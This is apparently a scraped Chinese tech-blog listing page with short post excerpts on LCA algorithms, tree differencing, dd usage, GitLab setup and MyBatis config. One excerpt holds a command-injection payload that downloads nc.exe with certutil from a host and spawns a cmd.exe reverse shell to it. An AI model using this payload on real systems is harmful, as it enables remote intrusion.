1.求类似最小距离最大值/最大距离最小值问题，通过最小/大生成树固定一个条件，另一个条件在树里找到。 例题：货车运输。 求两点间的一条路径，使得最小边权最大。先通过最大生成树确定最大，再从两点间的边里选择最小的边权，用到了lca。 例题：Star Way to Heaven 求路径到一些星星的最小距 ...
分类：
其他好文 时间：
2019-08-17 21:51:06
阅读次数：
155
题目:POJ-1330 题目大意：给你一棵含有n个结点的树，n-1条边，问两个结点的最近公共祖先是哪个节点。 普通做法 思路：让两个结点到达同一深度，再一起往上走，到达同一结点即为最近公共祖先。 例：3和7，让3往上走到16，与7同一深度后，再一起一步步往上走，到达4时，为同一个结点，即为其最近公共 ...
分类：
编程语言 时间：
2019-08-17 21:42:00
阅读次数：
96
``` / Created by xujw on 2017/10/16. 斗地主 单副扑克 没有癞子玩法 牌对象为{grade:3,face:1} grade 牌面点数(3 13:3 K, 14:A, 15:2, 16:小王 17:大王) face 牌面花色(1:黑桃、2:红桃、3:梅花、4:方块) ...
分类：
其他好文 时间：
2019-08-17 19:39:56
阅读次数：
69
192.168.1.120|certutil.exe -urlcache -split -f http://192.168.1.168/nc.exe C:\phpStudy\nc.exe192.168.1.120|C:\phpStudy\nc.exe -e cmd.exe 192.168.1.168 ...
分类：
其他好文 时间：
2019-08-16 18:59:11
阅读次数：
83
1、dd命令的使用 dd命令用于复制文件并对源文件的内容进行转换和格式化处理，在有需要的时候可以使用dd命令对物理磁盘进行操作，使用dd对磁盘操作时，最好使用块设备文件。 （1）命令语法 （2）常用参数说明 if=filename：输入文件名，默认为标准输入，即指定源文件。 of=filename： ...
分类：
其他好文 时间：
2019-08-16 10:32:09
阅读次数：
85
树上差分一般用于和树上路径有关的统计，对于一条路径$(S,T)$，我们一般修改他们的$d[S],d[T],d[LCA]$的值来达到目的，而答案通常通过统计子树和来完成，复杂度显然为$O(n)$。 例一： "最大流" 这题是一道树上差分的板子题。 显然用差分给对$d[S],d[T]$加一，$d[LCA ...
分类：
其他好文 时间：
2019-08-15 23:05:26
阅读次数：
102
安装Gitlab 关闭firewalld防火墙和selinux防火墙,如图1-2；[root@localhost ~]# systemctl stop firewalld[root@localhost ~]# systemctl disable firewalld[root@localhost ~] ...
分类：
其他好文 时间：
2019-08-15 11:18:20
阅读次数：
146
[Time Gate] https://www.luogu.org/problem/P5021 【解题思路】 首先二分答案，贪心计算对于 mid的最大可能答案，判断它和 m的大小。我们称从一条赛道两端点 LCALCALCA 开始的，到一个端点结束的链为对应赛道的半链，令 fi 为以 ii为 LCA ...
分类：
其他好文 时间：
2019-08-14 14:46:45
阅读次数：
77
一、rmq问题 1.st表 2.线段树 3.树状数组 二、lca 三、基本数据结构 1.栈 2.队列 3.单调栈 4.链表 5.stl 6.并查集 7.堆/优先队列 四、分治 1.点分治 2.边分治 3.树链剖分 4.基于询问的分治 5.cdq分治 五、其他 1.可持久化线段树 2.KD-tree ...
分类：
其他好文 时间：
2019-08-11 17:27:04
阅读次数：
70
mybatis相关配置1.头信息<?xmlversion="1.0"encoding="UTF-8"?><!DOCTYPEconfigurationPUBLIC"-//mybatis.org//DTDConfig3.0//EN""http://mybatis.org/dtd/mybatis-3-config.d
分类：
其他好文 时间：
2019-08-11 17:10:16
阅读次数：
81
